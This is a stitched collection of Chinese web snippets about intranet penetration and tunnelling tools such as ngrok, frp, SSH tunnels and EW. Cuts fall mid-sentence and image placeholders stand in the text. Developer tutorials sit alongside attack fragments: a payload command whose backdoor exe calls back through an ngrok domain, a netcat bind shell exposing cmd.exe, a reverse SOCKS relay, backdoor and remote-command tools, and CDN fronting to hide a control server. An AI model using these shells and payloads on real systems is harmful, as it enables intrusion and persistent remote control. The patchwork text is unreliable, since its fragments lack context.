NAPT原理 在NAT网关上会有一张映射表,表上记录了内网向公网哪个IP和端口发起了请求,然后如果内网有主机向公网设备发起了请求,内网主机的请求数据包传输到了NAT网关上,那么NAT网关会修改该数据包的源...1、Ngrok ngrok 是一个反向代理,通过在公共端点和本地运行的 Web 服务器之间建立一个安全的通道,实现内网主机的服务可以暴露给外网。...作者的观点是,它不像匆匆忙忙的工作那么容易。使用端口转发环路或远程回显服务进行连接监视。在遇到连接拒绝等快速故障时,关闭连接尝试的速度。...在OpenBSD,Linux,Solaris,Mac OS X,Cygwin和AIX上编译和测试; 应该在其他BSD上工作。免费软件。...对于 http, https 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个80端口。
---- 1、ngrok ngrok 是一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。...官网地址: https://ngrok.com 使用步骤: (1)进入ngrok官网注册账号,并下载ngrok。 (2)在目标机器上,填写授权码,运行ngrok。 ..../ngrok authtoken 授权码 (3)将HTTP隧道转发到本地端口80,如下图,通过外网域名即可访问到本地80端口。 ./ngrok http 80 ?...官网地址: https://www.ngrok.cc 使用步骤: (1) 开通http隧道,设置隧道协议、本地端口等信息。 ? (2)通过隧道id启动隧道。 ?.../ew -s rcsocks -l 1080 -e 8888 b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口 .
使用Ngrok Ngrok是一个流行的闭源隧道工具。...Ngrok •用途:Ngrok主要用于将本地服务器暴露到公共互联网上。它创建一个安全的隧道到本地主机,使得本地运行的服务器或服务可以被外部网络访问。...•一般场景:•本地开发测试:对于开发者来说,在开发阶段可以使用Ngrok将本地运行的应用暴露给外网,便于测试和演示。...Ngrok 1.功能:•Ngrok是一个隧道服务工具,它允许你将本地运行的服务器或服务暴露给外部的互联网。•它创建了一个从公共端点(URL)到本地主机的安全隧道。...•Ngrok创建的是从外部到本地的隧道;Nginx则在服务器端处理来自客户端的请求。联系:•两者都涉及网络请求的处理和转发,但在不同的环节和目的。•在某些场景下,它们可以协同工作。
两个服务器在使用上没有太多差别。...lhost=free.idcfengye.com lport=10134 -f exe -o tcp.exe 注意这里生成木马是使用的是ngrok平台提供的域名,本地kali客户端使用隧道号与平台建立连接...,靶机点击后门之后,反向连接ngrok平台提供的域名,流量经过转发到本地kali上,实现内网穿透。...免费的隧道协议有三种,如果上不了线可以一一尝试。...在这种场景下就可以使用这些容易被忽视的协议进行隧道的搭建。 1、服务端: 监听本地icmp流量 .
在现代软件开发和网络应用的环境下,开发人员常常需要在本地搭建服务器进行调试、测试或演示。然而,传统的端口映射(如使用 NAT 或 SSH 隧道)配置繁琐,且并非所有环境都允许直接暴露本地服务。...ngrok 作为一款强大的隧道工具,能够简化这一过程,它允许开发者快速、安全地将本地服务器映射到公网,从而实现外部访问。...TCP 隧道:ngrok tcp 22这将暴露本地的 22 端口(例如用于 SSH)。...它不仅提高了本地开发环境的可访问性,也简化了调试流程,使开发者能够更专注于应用的功能开发。未来,随着远程开发需求的增加,ngrok 及类似工具将在更多场景中发挥重要作用,为开发者带来更高效的工作方式。...ngrok 是一个非常方便的工具,可以将本地服务器暴露到互联网上,通常用于开发阶段需要临时公开本地服务器时使用。
密码输入框默认是不会显示你输入的密码的 到这里我们基本上可以运行我们的SSH WEB环境。启动后默认端口为4200。...0x02 外网映射 到ngork官网注册登录(https://ngrok.cc/),转到隧道开通,买那个免费的中国香港服务器。 ?...协议选http,隧道名称跟前置域名自定义,本地端口写kali服务器的端口,ip写kali机器的ip,端口就写ssh web的端口4200,http验证用户名跟密码选填,最后直接点确定添加。 ?...进入隧道管理,将隧道ID复制,再执行ngrok命令开始映射。 chmod 777 sunny #如果出现其他问题可尝试赋予权限....◆◆ 如何制作一个kali外网服务器 一般的,在攻击目标时,我们在虚拟机用msfconsole生成木马时,会有一个疑问,怎么将kali开放成外网。
此时,RDP 连接,Windows 命令行下输入mstsc,即可打开远程桌面连接: 如果是在公网主机上操作,计算机那栏只需要输入 127.0.0.1:5555,即可;如果是在本地主机上操作,则输入 公网主机...nc使用方法:正向连接 远程主机上执行: nc -l -p 4444 -t -e cmd.exe 本地主机上执行: nc -vv 远程主机ip 4444 成功后,本地主机就获得了远程主机的一个cmd shell...在使任何程序通過代理上网,允許 TCP 和 DNS 通過代理隧道,支持 HTTP、SOCKS4、SOCKS5 類型的代理服务器,支持 proxy chain,即可配置多个代理,同一個 proxy chain...Tunna 工具地址: https://github.com/SECFORCE/Tunna 该工具使用的先决条件: 能够在远程服务器上上传webshell 使用方法: python proxy.py ...对于 http, https 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个80端口。
您已经了解 ngrok 如何为本地主机提供远程连接。现在,了解 ngrok 如何管理生产应用程序的流量。...如果您曾经使用 ngrok 生成一个 临时 安全隧道,以便服务和浏览器即使在 localhost 上托管也能与您的应用程序联系,您可能已经问过自己是否可以以同样的无缝方式交付您的生产应用程序和 API。...如果您正在您的开发团队网络甚至您的个人笔记本电脑上为测试准备一个 API,ngrok 为您提供了一种在本地端口上 打开 HTTPS 端点 的方法。...也就是说,您可以将 ngrok 组件作为应用程序或 API 的全职操作员,管理对您 API 的 HTTPS 调用,并有效地将任何经过身份验证的远程应用程序与您的本地微服务应用程序在粒度级别集成。...“在您的应用程序上线之前,您需要采取更多步骤,”他补充道。“使用 ngrok,您不需要。” 90 度转弯 Argha 说,这种易于实施的方式使 ngrok 能够与服务网格协调。
你有没有遇到过这样的情况:在本地开发了一个应用,想给客户或同事展示,结果卡在了复杂的网络配置上?比如,你得让他们通过互联网访问你的本地服务器,端口映射、路由器设置、各种网络障碍让你头疼不已。...Ngrok 听上去有点像某种神秘的黑科技,实际上它是一个专为开发者打造的“隧道”工具。...它是如何工作的?你可能会好奇,Ngrok 究竟是怎么让外部设备访问到你的本地服务器的呢?其实它背后的核心原理就是“隧道技术”。...使用 Ngrok 的几个妙招除了上述功能,Ngrok 还有一些小技巧可以帮助你更高效地使用它:1. 访问控制:你可以给隧道设置 IP 白名单,或者开启基本认证。...但如果你需要更高级的特性,比如自定义域名、永久隧道、流量分析等,就可以考虑购买付费版本。一些思考Ngrok 是一个非常方便的开发工具,尤其是在需要快速展示和测试本地应用时,它能为你省去不少麻烦。
其核心价值体现在三方面:开发效率提升:本地服务快速暴露至公网,无需部署云服务器。安全可控:通过隧道加密替代传统端口映射,降低暴露风险。成本优化:避免为测试环境购买云主机,实现资源按需使用。...对于开发人员、运维人员、远程办公人员,经常面临类似需求:如何安全、高效、可控地将内网的服务暴露给公网或特定的远程用户,而无需在防火墙上留下永久性的入站端口漏洞。因此各种内网穿透或隧道技术应运而生。...rathole,类似于frp和ngrok,可以让NAT后的设备上的服务通过具有公网IP的服务器暴露在公网上。高性能:具有更高的吞吐量,高并发下更稳定。低资源消耗:内存占用低于同类工具。...二进制文件最小可以到~500KiB,可以部署在嵌入式设备如路由器上。安全性:每个服务单独强制鉴权。Server和Client负责各自的配置。...:Expose采用PHP语言开发,其架构设计体现了现代PHP应用的最佳实践:客户端-服务器架构:轻量级客户端与功能强大的服务端协同工作隧道协议:高效安全的隧道协议保障数据传输请求转发机制:智能路由将公网请求准确转发到本地服务实时监控
本文将教你如何通过 SSH 隧道把本地服务映射到外网,以方便调试,通常把这种方法叫内网穿透。...先来回顾以下 SSH 远程登入命令,假如想在本地远程登入到 12.34.56.78,可以在本地开发机上执行以下命令: ssh username@12.34.56.78 而实现 SSH 隧道只需在本地开发机上执行...,多出的这部分的含义是: 在远程机器(12.34.56.78)上启动 TCP 8080端口监听着,再把远程机器(12.34.56.78)上8080端口映射到本地的127.0.0.1:8080。...使用AutoSSH 只需在本地开发机上安装 AutoSSH ,方法如下: Mac 系统:brew install autossh; Linux 系统:apt-get install autossh; 安装成功后...frp 有以下特性: frp 比 SSH 隧道功能更多,配置项更多; frp 也需要一台外网服务器,并且需要在外网服务器上安装 frps,在本地开发机上安装 frpc; ngrok ngrok 是一个商用的内网穿透工具
接下来,攻击者启用Windows内置默认账号DefaultAccount,并使用RDP登录方式在局域网内进行横向渗透,获取VMware VDI-KMS主机权限,攻击者利用来自144.76.136.153...3 Ngrok 一个反向代理工具,可以用于绕过防火墙。 随后,攻击者在VDI-KMS服务器上执行Mimikatz程序获取服务器的账号凭证,同时创建了一个仿冒的域管理员账户。...后续攻击者在多台内网主机上,通过图形界面GUI手动关闭Windows Defender,并且植入Ngrok代理程序及配置文件,这样可以确保在主机例行重启的时候,能够保持不丢失权限。...攻击者使用ngrok代理通过RDP服务连接内网主机,代理程序以HTTPS协议的443端口与tunnel.us.ngrok.com,korgn.su.lennut,com进行代理交互。...攻击者也有可能配置了自定义的域名或者使用了其它的Ngrok隧道域名,导致有些攻击行为没有检测到,这些Ngrok隧道域名可能是*.ngrok.com, *.ngrok.io, ngrok.*.tunnel.com
(一)使用ngrok生成公网地址访问:在ngrok中,你可以通过创建一个隧道(tunnel)来访问你的本地开发服务器。...ngrok是一个反向代理工具,它可以将你本地运行的Web服务暴露给公网,这对于开发、测试和演示非常有用。下面是如何使用ngrok来访问你的本地开发服务器的步骤:1....启动ngrok隧道现在,你可以启动一个隧道来访问你的本地服务器。例如,如果你的本地开发服务器运行在localhost的3000端口,你可以这样启动隧道:ngrok http 30005....获取公网地址启动隧道后,ngrok会在命令行中显示一个公网URL。这个URL可以被任何人访问,就像访问你的本地服务器一样。...使用隧道进行开发测试现在,你可以使用这个公网URL来测试你的应用程序,就像它在互联网上运行一样。这对于与团队成员共享工作、进行远程演示或进行用户测试非常有用。
基于 Spring Boot + MyBatis Plus + Vue & Element 实现的后台管理系统 + 用户小程序,支持 RBAC 动态权限、多租户、数据权限、工作流、三方登录、支付、短信、...反弹 SOCKS v5 服务器 这个操作具体分两步:a) 先在一台具有公网 ip 的主机A上运行以下命令: $ ..../ew -s rcsocks -l 1080 -e 8888 b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口 $ ....4.1 简介 ngrok 是一个反向代理,通过在公共端点和本地运行的 Web 服务器之间建立一个安全的通道,实现内网主机的服务可以暴露给外网。...:\Users\alan\Public Folder" 将主机的3389的TCP端口暴露到公网 ngrok tcp 3389 更多使用方法参考: https://ngrok.com/docs ----
功能介绍 1、多平台支持,无需交叉编译:Linux、Windows、macOS; 2、经过认证授权的Bind Shell; 3、随机输出后门代码; 4、Ngrok隧道支持绕过防火墙和代理限制; 工作机制...Ngrok通过安全隧道将NAT和防火墙后面的本地服务器暴露给公共互联网。...接下来,Ngrok将通过唯一的端口号在恶意软件本地侦听器端口和Ngrok服务器公共IP之间建立隧道。随后,安全研究人员可以将Ngrok的公共IP和唯一端口连接到内部恶意软件侦听器。...工具使用 在使用该工具之前,我们首先需要一个ngrok.com帐户才能使用此后门,我们可以在配置Grok-backdoor时提供Ngrok身份验证码。...在目标设备上执行了Grok-backdoor服务器后,我们将能够在Ngrok状态面板中看到创建的新的TCP隧道。
在特定场景中,目标设备需要运行AsyncSSH服务器并建立一个通向外部的隧道,并随时准备接收研究人员发送的命令。 命令发送方利用Ngrok官方API来获取隧道的主机名和端口信息,并建立通信连接。...除此之外,研究人员还可以使用一个SOCKS代理来发送和执行系统命令,比如说TOR等。 工具下载 由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好Python 3.x环境。...1、运行python3 gen_rsa.py生成SSH密钥对,命令发送方需要使用新生成的id_rsa连接目标设备上运行的服务器。...该脚本将会使用Ngrok官方API自动请求目标设备激活的Ngrok活动隧道的域名和端口信息。 需要注意的是,id_rsa文件必须跟async_commander.py脚本在同一目录中。...基础使用 在目标设备上运行服务器端: python3 asyncssh_server.py 命令发送方通过SOCKS代理发送控制命令: python3 asyncssh_commander.py "ls
方案分析: 适合用户:这种隐藏ip的方案适合于没有公网服务器,使用自己本地电脑进行测试的用户;或者有公网服务器,通过本方案隐藏服务器真实ip的用户; 优点:免费使用他人提供的隧道服务,可以快速的用来测试...,0成本; 缺点:使用了他人提供的隧道服务(增加了风险);且注册账号时还需要完成微信绑定(增加了风险);国内平台(增加了风险); 使用流程: 1.打开网站 https://www.ngrok.cc/ 注册...CDN分布式技术,不同区域的主机就近连接到CDN服务,优化了访问质量,隐藏了真实服务器的ip;且CDN分布式技术可以在一定程度抵抗DDOS大流量攻击;使用国内CDN适合用于做红蓝对抗技术比拼等合法目的;...实际上就是通过http 头里面的host字段进行判断的!详细内容学习“参考文章6、7、8” ? 4.生成payload,运行测试 4.1运行payload,主机可以成功上线; ?...使用了https域名前置,就是在上面的CDN直接使用zh.wikisoft.tk域名的基础上又增加了一层安全保障!如何逆向二进制,也有教程文档“参考文章9” 搞定!
,在本地执行 ngrok 命令添加用户的 authtoken: 直接复制上图的命令,进入到 ngrok 文件所在的目录执行,如下图: 现在,你的账号信息已经保存到本地的 ngrok 配置文件中了,接下来只需要执行...(或者测试服务器)部署项目: 多服务 以上是单服务的内网穿透,但实际情况下,我们本地可能不仅有前端、还有后端服务,那么如何利用 Ngrok 同时内网穿透多个服务呢?...首先根据官方文档的指引,找到自己电脑上的默认 ngrok.yml 配置文件: 然后在编辑器中修改这个文件,比如配置前端(frontend)和后端(backend)两条隧道,对应的本地服务端口分别为 5173...和 8104: 之后,可以通过 ngrok start 隧道名称> 配置指定启动哪个隧道: 或者执行 ngrok start --all 命令同时启动所有隧道,运行结果如下,同时在 ngrok-free.app...那如果我们想要用固定域名访问本地的多个端口,怎么办呢? 可以使用 Nginx 进行转发呀!